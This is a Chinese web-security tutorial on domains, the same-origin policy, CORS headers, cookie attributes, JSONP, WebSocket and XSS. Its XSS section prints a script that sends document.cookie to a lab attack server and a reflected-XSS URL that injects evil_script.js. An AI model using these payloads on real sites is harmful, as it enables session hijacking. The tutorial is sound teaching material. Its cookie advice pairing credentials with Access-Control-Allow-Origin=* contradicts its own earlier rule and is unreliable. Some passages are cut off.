• 同源策略,跨域,请求,网络安全详细知识


    基础概念

    域名的树状结构

    根域名

    所有域名的起点都是根域名,它写作一个点.,放在域名的结尾。因为这部分对于所有域名都是相同的,所以就省略不写了,比如example.com等同于example.com.(结尾多一个点)。一个域名结尾加一个点,浏览器都可以正常解读(有的域名会屏蔽此方式)。

    顶级域名/一级域名

    根域名的下一级是顶级域名,也称为一级域名。它分成两种:通用顶级域名(比如 .com / .net / .vip)和国别顶级域名(比如 .cn.us)。

    二级域名

    二级域名就是你在某个顶级域名下面,自己注册的域名。比如,wetv.vip就是在一级域名.vip下面注册的。

    三级域名

    三级域名是二级域名的子域名,是域名拥有者自行设置的,不用得到许可。比如,barrage.wetvinfo.com 就是 wetvinfo.com 的三级域名。

    同源策略

    同源策略(Same Orgin Policy)是一种约定,它是浏览器核心也最基本的安全功能,它会阻止一个域的JS脚本和另外一个域的内容进行交互,如果缺少了同源策略,浏览器很容易受到XSS、CSFR等攻击(有同源策略,在设置不当时也会受到攻击)。所谓同源(即在同一个域)就是两个页面具有相同的协议(protocol)、主机(host)和端口号(port)。

    如果非同源且未使用跨域策略则会有下面的限制:

    • 无法读取非同源网页的CookielocalStorageIndexedDB
    • 无法接触非同源网页的DOMJS对象
    • 无法向非同源地址发送Ajax请求(可以发送成功[可能被攻击],但浏览器会拒绝接受响应)

    IE 中的特例
    Internet Explorer 的同源策略有两个主要的差异点:

    • 授信范围(Trust Zones):两个相互之间高度互信的域名,如公司域名(corporate domains),则不受同源策略限制。
    • 端口:IE 未将端口号纳入到同源策略的检查中,因此 https://company.com:81/index.html 和 https://company.com/index.html 属于同源并且不受任何限制。

    跨域场景

    当前页面 url被请求页面 url是否跨域原因能否携带cookie
    http://www.testlocation.com/http://www.testlocation.com/同源(协议、域名、端口号相同)
    http://www.testlocation.com/https://www.testlocation.com/跨域协议不同(http/https)能(CORS)
    http://www.testlocation.com/http://www.baidu.com/跨域主域名不同(test/baidu)不能
    http://www.testlocation.com/http://blog.testlocation.com/跨域子域名不同(www/blog)能(CORS)
    http://www.testlocation.com:8080http://www.testlocation.com:7001跨域(base浏览器)端口号不同(8080/7001)能(CORS)

    简单请求

    对于HEADGETPOST请求,如果HTTP请求头中只有Accept/Accept-Language/Content-Language/Last-Event-ID/Content-Type六种类型,且Content-Type只能是下面三个值,则是简单请求:

    • application/x-www-form-urlencoded 对应普通表单
    • multipart/form-data 对应文件上传
    • text/plain 对应文本发送(一般不怎么用)

    简单请求会在发送时自动在 HTTP 请求头加上 Origin 字段,来标明当前是哪个源(协议+域名+端口),服务端来决定是否放行。

    非简单请求

    如果一个请求不是简单请求,则为非简单请求。

    预检请求

    非简单请求的CORS请求,会在正式通信之前,增加一次HTTP查询请求,称为"预检"请求(preflight)。"预检"请求用的请求方法是OPTIONS,表示这个请求是用来询问的。

    预检请求携带的头信息:

    • Origin,表示请求来自哪个源。
    • Access-Control-Request-Method 用来列出浏览器的CORS请求会用到哪些HTTP方法
    • Access-Control-Request-Headers 一个逗号分隔的字符串,指定浏览器CORS请求会额外发送的头信息字段

    预检请求的响应逻辑将在后续详细描述。

    AJAX 请求

    AJAX是Asynchronous JavaScript and XML的缩写,意思就是用JavaScript执行异步网络请求。目前JS有两种异步请求的技术

    一种是XHR,即使用new XMLHttpRequest()对象进行异步HTTP请求,在浏览器抓包协议中Typexhr

    一种是fetch,是一个现代的、基于 Promise 的、用于替代 XMLHttpRequest 的方法。在浏览器抓包协议中Typefetch

    Cookie

    Cookie 是服务器保存在浏览器的一小段文本信息,一般大小不能超过4KB。浏览器每次向服务器发出请求,就会自动附上这段信息。Cookie 不是一种理想的客户端存储机制。它的容量很小(4KB),缺乏数据操作接口,而且会影响性能。客户端存储建议使用 Web storage APIIndexedDB。只有那些每次请求都需要让服务器知道的信息,才应该放在 Cookie 里面。Cookie 有下面几个属性:

    • Expires

      Expires属性指定一个具体的到期时间,到了指定时间以后,浏览器就不再保留这个 Cookie。它的值是 UTC 格式,可以使用Date.prototype.toUTCString()进行格式转换。

    • Max-Age

      Max-Age属性指定从现在开始 Cookie 存在的秒数,比如60 * 60 * 24 * 365(即一年)。过了这个时间以后,浏览器就不再保留这个 Cookie。

      如果同时指定了ExpiresMax-Age,那么Max-Age的值将优先生效。

    • Domain

      Domain属性指定 Cookie 属于哪个域名,以后浏览器向服务器发送 HTTP 请求时,通过这个属性判断是否要附带某个 Cookie。如果没有指定 Domain 属性,浏览器会默认将其设为浏览器的当前域名。

    • Path

      Path属性指定浏览器发出 HTTP 请求时,哪些路径要附带这个 Cookie。只要浏览器发现,Path属性是 HTTP 请求路径的开头一部分,就会在头信息里面带上这个 Cookie。

    • Secure

      Secure属性指定浏览器只有在加密协议 HTTPS 下,才能将这个 Cookie 发送到服务器。如果当前协议是 HTTP,浏览器会自动忽略服务器发来的Secure属性。

    • HttpOnly

      HttpOnly属性指定该 Cookie 无法通过 JavaScript 脚本拿到,主要是document.cookie属性、XMLHttpRequest对象和 Request API 都拿不到该属性。这样就防止了该 Cookie 被脚本读到。

    • SameSite

      Chrome 51 开始,浏览器的 Cookie 新增加了一个SameSite属性,用来防止 CSRF 攻击和用户追踪。

    构造一个跨域请求

    golang服务示例

    func main() {
    	go func() { // 用于测试跨域请求的服务器,端口号和主服务不同
    		mux := http.NewServeMux()
    		mux.HandleFunc("/cors_simple_error", CorsSimpleError)
    		mux.HandleFunc("/btn_cors_simple_success", CorsSimpleSuccess)
    		mux.HandleFunc("/btn_cors_simple_success_cookie", CorsSimpleSuccessCookie)
    		mux.HandleFunc("/btn_cors_failed", BtnCorsFailed)
    		mux.HandleFunc("/btn_cors_success", BtnCorsSuccess)
    		if err := http.ListenAndServe(":8001", mux); err != nil {
    			panic(err)
    		}
    	}()
    
    	// 主服务,返回 index 页面
    	elog.Debug("http://127.0.0.1:8008/")
    	fs := http.FileServer(http.Dir("./"))
    	http.Handle("/", http.StripPrefix("/", fs))
    	http.HandleFunc("/same_origin", SameOrigin)
    	http.HandleFunc("/same_origin_cookie", SameOriginCookie)
    	if err := http.ListenAndServe(":8008", nil); err != nil {
    		panic(err)
    	}
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23

    使用不同端口 http://127.0.0.1:8001http://127.0.0.1:8008 来构造同站跨域请求。可以使用 switchhost 软件重定向一个测试域名到 127.0.0.1 来构造一个跨站跨域请求:

    127.0.0.1 cross-site.com
    
    • 1

    这样我们请求 http://cross-site.com:8001 就相当于 http://127.0.0.1:8001 了。

    AJAX请求示例

    JS脚本构造异步HTTP请求,示例如下:

    const log = document.querySelector('.xss-event-log');
    document.querySelector("#btn_xss").addEventListener("click", ()=>{
        fetch('http://127.0.0.1:8002/xss',{method:"GET",credentials:"include"}).
        then(response => {
            for(const key of response.headers.keys()) {
                log.textContent = `${log.textContent}${key}:${response.headers.get(key)}\n`;
            }
            response.text().then(d=>{log.textContent = `${log.textContent}body:\n${d}`});
        }).
        catch( error => {
            console.error(`same origin 请求失败:${error}`);
            log.textContent = `${log.textContent}same origin 请求失败!状态码:${error}\n`;
        });
    })
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    如何解决跨域

    CORS

    CORS是一个W3C标准,全称是"跨域资源共享"(Cross-origin resource sharing)。它允许浏览器向跨域服务器,发出AJAX请求,从而克服了AJAX只能同源使用的限制。

    CORS需要浏览器和服务器同时支持。目前,所有浏览器都支持该功能,IE浏览器不能低于IE10。浏览器一旦发现AJAX请求跨源,就会自动添加一些附加的头信息,非简单请求还会多出一次附加的预检请求,但用户不会有感觉。

    简单请求处理

    对于简单请求,浏览器直接发出CORS请求。具体来说,就是在头信息之中,增加一个Origin字段。

    origin: https://wetv.vip
    
    • 1

    服务器需要处理这个头部,并填充回返回头部

    Access-Control-Allow-Origin
    access-control-allow-origin: https://wetv.vip
    
    • 1

    此头部也可填写为*,表示接受任意域名的请求。如果不返回这个头部,浏览器会抛出跨域错误。(注:服务器端不会报错)

    需要注意的是,如果要发送CookieAccess-Control-Allow-Origin就不能设为星号,必须指定明确的、与请求网页一致的域名。同时,Cookie依然遵循同源政策,只有用服务器域名设置的Cookie才会上传,其他域名(跨站)的Cookie并不会上传,且原网页代码中的document.cookie也无法读取服务器域名下的Cookie

    Access-Control-Allow-Origin这个头部是必须填写的。

    Access-Control-Allow-Credentials

    布尔值,默认是false,表示不允许发送Cookie,如果需要允许浏览器携带Cookie则需要设置为true。此字段可选。

    需要注意,如果要携带Cookie,前端开发者必须在AJAX请求中打开withCredentials属性(fetch请求则需要设置值为include)。

    Access-Control-Expose-Headers

    CORS请求时,XMLHttpRequest对象的getResponseHeader()方法只能拿到6个基本字段:Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma。如果想拿到其他字段,就必须在Access-Control-Expose-Headers里面指定。

    比如,需要在头部添加QUA字段来填充用户信息,则必须在Access-Control-Expose-Headers里面指定QUA字段。

    此字段可选。

    非简单请求处理

    对于非简单请求,浏览器会先自动进行预检,以判断服务器是否允许跨域。

    预检返回
    • Access-Control-Allow-Origin 同简单请求,必选

    • Access-Control-Allow-Methods 逗号分隔的一个字符串,表明服务器支持的所有跨域请求的方法,必选

    • Access-Control-Allow-Headers
      
      • 1

      如果浏览器请求包括Access-Control-Request-Headers字段,则此字段是必需的。它也是一个逗号分隔的字符串,表明服务器支持的所有头信息字段,不限于浏览器在"预检"中请求的字段。

    • Access-Control-Allow-Credentials 同简单请求

    • Access-Control-Max-Age 指定本次预检请求的有效期,单位为秒。可以避免频繁的预检请求。

    正常请求

    预检通过后,浏览器就正常发起请求和响应,流程和简单请求一致。

    JSONP

    JSONP的原理 :利用

    • 1

    请求的脚本网址有一个callback参数(?callback=bar),用来告诉服务器,客户端的回调函数名称(bar)。服务器收到请求后,拼接一个字符串,将 JSON 数据放在函数名里面,作为字符串返回(bar({...}))。客户端只要定义了bar()函数,就能在该函数体内,拿到服务器返回的 JSON 数据。

    WebSocket

    WebSocket 是一种通信协议,使用ws://(非加密)和wss://(加密)作为协议前缀。该协议不实行同源政策,只要服务器支持,就可以通过它进行跨域通信。

    GET /chat HTTP/1.1
    Host: server.example.com
    Upgrade: websocket
    Connection: Upgrade
    Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==
    Sec-WebSocket-Protocol: chat, superchat
    Sec-WebSocket-Version: 13
    Origin: http://example.com
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    Cookie 携带

    同源网站

    如果是同源网站,cookie在某些浏览器上是自动携带的,有些浏览器则默认不携带。如果要显示携带,则可以在前端设置credentials:"same-origin",如果要显示不携带,则可以设置为credentials:"omit",后台不需要额外设置。

    跨域携带

    跨域携带有个前提,即如果一级域名不同,则不能携带 cookie,一级域名下的子域名或端口不同的服务可以携带,且需做如下设置:

    • 简单请求

      • 前端设置credentials: 'include'
      • 后台设置Access-Control-Allow-Origin=*
    • 非简单请求

      • 前端设置credentials: 'include'

      • 后台设置(预检和正常请求都需要设置)

        • Access-Control-Allow-Origin={用户发来的Origin头部} 必选

        • Access-Control-Allow-Methods:GET,PUT,OPTIONS,POST 必选

        • Access-Control-Allow-Credentials:true 必选

        • Access-Control-Allow-Headers:Q-UA
          
          • 1

          可选,根据用户额外传递的 header 设置

    站点安全

    跨站脚本 (XSS)

    XSS 是一种常见的 web 安全漏洞,它允许攻击者将恶意代码植入到提供给其它用户使用的页面中。XSS 的攻击目标是为了盗取存储在客户端的 Cookie 或者其他网站用于识别客户端身份的敏感信息。一旦获取到合法用户的信息后,攻击者甚至可以假冒合法用户与网站进行交互。

    反射型XSS攻击

    反射型 XSS 攻击发生在当传递给服务器的用户数据被立即返回并在浏览器中原样显示的时候,比如有意制造错误输入,并让服务将错误输入返回。我们可以构造下面一个脚本,并附在请求参数中:

    var img=document.createElement('img');
    img.src=`http://127.0.0.1:8002/xss?${escape(document.cookie)}`;
    console.log(img.src);
    document.appendChild(img);
    
    • 1
    • 2
    • 3
    • 4

    HTML的img src会自动执行并且不受同源策略限制,此脚本会将页面Cookie取出并发送到攻击服务器上。

    用户发送请求:

    http://127.0.0.1:8008/same_origin?q=beer<script%20src=http://127.0.0.1:8008/scripts/evil_script.js></script>
    
    • 1

    如果服务没有检测输入,直接返回,则会导致脚本执行,Cookie被劫持。

    持久型XSS攻击

    恶意脚本存储在站点中,然后再原样地返回给其他用户,在用户不知情的情况下执行。原理和上面的类似,只是数据会被存储在数据库,导致漏洞持久存在。比如贴吧帖子等形式的数据。

    预防措施

    防御办法为不能明文返回用户传递来的数据,而是改用错误码形式。并且将重要的Cookie设置为httponly,此时脚本将无法读取到此Cookie。数据库存储的数据需要进行编码或者校验,去除脚本编码数据。对 HTML 来说,这些包括类似